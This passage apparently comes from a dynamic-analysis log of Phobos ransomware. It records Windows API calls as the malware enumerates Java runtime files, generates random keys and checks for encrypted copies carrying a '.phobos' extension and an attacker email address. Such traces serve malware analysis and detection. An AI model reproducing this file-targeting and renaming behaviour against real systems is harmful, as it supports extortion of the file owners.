dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.368] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=3928) returned 1 [0125.368] CloseHandle (hObject=0x594) returned 1 [0125.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0x20 [0125.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.369] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.369] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=3770) returned 1 [0125.370] CloseHandle (hObject=0x594) returned 1 [0125.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0x20 [0125.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.370] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.370] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10568) returned 1 [0125.370] CloseHandle (hObject=0x594) returned 1 [0125.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0x20 [0125.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.370] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.371] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=75144) returned 1 [0125.371] CloseHandle (hObject=0x594) returned 1 [0125.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20 [0125.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.372] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.372] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=75124) returned 1 [0125.372] CloseHandle (hObject=0x594) returned 1 [0125.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0x20 [0125.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.372] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.372] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=80856) returned 1 [0125.372] CloseHandle (hObject=0x594) returned 1 [0125.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0x20 [0125.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.373] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.373] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=344908) returned 1 [0125.373] CloseHandle (hObject=0x594) returned 1 [0125.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 0x20 [0125.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.374] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.374] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=317896) returned 1 [0125.374] CloseHandle (hObject=0x594) returned 1 [0125.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 0x20 [0125.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.374] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.375] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=698236) returned 1 [0125.375] CloseHandle (hObject=0x594) returned 1 [0125.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0x20 [0125.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.375] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.375] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=234068) returned 1 [0125.375] CloseHandle (hObject=0x594) returned 1 [0125.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0x20 [0125.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.375] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.376] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=242700) returned 1 [0125.376] CloseHandle (hObject=0x594) returned 1 [0125.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 0x20 [0125.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.376] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.376] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=13962) returned 1 [0125.376] CloseHandle (hObject=0x594) returned 1 [0125.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 0x20 [0125.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.377] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.377] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=1280) returned 1 [0125.377] CloseHandle (hObject=0x594) returned 1 [0125.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 0x20 [0125.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.378] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.378] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=56) returned 1 [0125.378] CloseHandle (hObject=0x594) returned 1 [0125.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 0x20 [0125.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.379] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.379] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=944167) returned 1 [0125.379] CloseHandle (hObject=0x594) returned 1 [0125.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 0x20 [0125.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.380] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.380] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=116446) returned 1 [0125.380] CloseHandle (hObject=0x594) returned 1 [0125.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 0x20 [0125.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.380] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.380] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=20109) returned 1 [0125.381] CloseHandle (hObject=0x594) returned 1 [0125.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 0x20 [0125.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.381] CreateFileW 